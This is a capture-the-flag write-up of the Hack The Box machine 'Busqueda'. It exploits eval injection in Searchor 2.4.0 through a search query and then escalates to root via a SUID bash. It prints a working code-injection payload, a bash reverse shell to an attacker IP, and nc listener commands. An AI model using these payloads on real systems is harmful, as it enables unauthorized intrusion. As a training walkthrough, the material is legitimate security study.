Contents

HTB: Busqueda

Easy HTB machine with a RCE in searchor 2.4.0, after foothold privilege escalation via SUID.

Enumeration

Nmap port scan

port 22, and 80 are open.


DuxSec@hi$ nmap -p- -sV -sC  10.10.11.208 -v -oN nmap_all_ports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-01 07:24 EDT
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

As shown in the nmap results, I add searcher.htb to my /etc/hosts file.

10.10.11.208 searcher.htb

searcher.htb

The website shows the following:
./website_top.jpg
You can select an engine, for example Google and then insert a query, and it will show you the corresponding link. If you check the textbox auto redirect it will immediately redirect you to the page.

In the footer it shows that it runs Flask and Searchor 2.4.0
./website_footer.jpg

A quick google brings me to the Snyk page that describes the following:

Affected versions of this package are vulnerable to Arbitrary Code Execution due to unsafe implementation of eval method.

The Snyk page also shows the github commit where the vulnerability is fixed. Let’s inspect the code.

Vulnerable python code

1
2
3
4
5
6
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

Here the vulnerable eval shows itself, since the what do you want to search for textbox on the webpage, will be inserted as query here.

This blog post shows the significant dangers of eval.

I want to be able to run my own code (reverse shell) and gain a foothold. In order to do that I need to analyze the code better, and to do that I installed the vulnerable version (2.4.0) of searcher https://pypi.org/project/searchor/#history .

I then created this small example script to be able to test how I can run my own commands.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from searchor import Engine

def search(engine, query, open, copy):
    try:
        print(f"query: {query}")
        text = f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        print(f"text: {text}")
        print(f"eval: {eval(text)}") 
    except Exception as e:
        print(e)

if __name__ == "__main__":
    evil_query = "dog pictures"
    search("Google", evil_query, False, False)

This gives the following output

query: dog pictures
text: Engine.Google.search('dog pictures', copy_url=False, open_web=False)
eval: https://www.google.com/search?q=dog%20pictures

Now in order to escape the eval text, I use the following evil_query

evil_query = "'),__import__('os').system('whoami')#"

This results in the following output:

query: '),__import__('os').system('whoami')#
text: Engine.Google.search(''),__import__('os').system('whoami')#', copy_url=False, open_web=False)
root
eval: ('https://www.google.com/search?q=', 0)

As you can see it succesfully printed root according to the whoami.
Now I can change the whoami with the a bash reverse shell.

'),__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.196/4242 0>&1"')#

I start my nc listener on port 4242


DuxSec@hi$ nc -lnvp 4242
listening on [any] 4242 ...

I then run the crafted command in the what do you want to search for on the website to succesfully get a shell as svc.

User flag


nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.196] from (UNKNOWN) [10.10.11.208] 40024
bash: cannot set terminal process group (1675): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ whoami
whoami
svc
bash-5.1$ cd ~
cd ~
bash-5.1$ ls
ls
user.txt
bash-5.1$ cat user.txt
cat user.txt
1bd5492**********

Privilege escalation

Linpeas shows the SUID bit is set for /bin/bash.
To get root I can just run bash -p to get a root shell.

Bash manual for -p
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not sup‐
plied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and
GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If
the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Root flag


bash-5.1$ bash -p
bash-5.1# whoami
root
bash-5.1# cd 
bash-5.1# cd /
bash-5.1# cd /root      
bash-5.1# ls
ecosystem.config.js  root.txt  scripts	snap
bash-5.1# cat root.txt
af10172afa************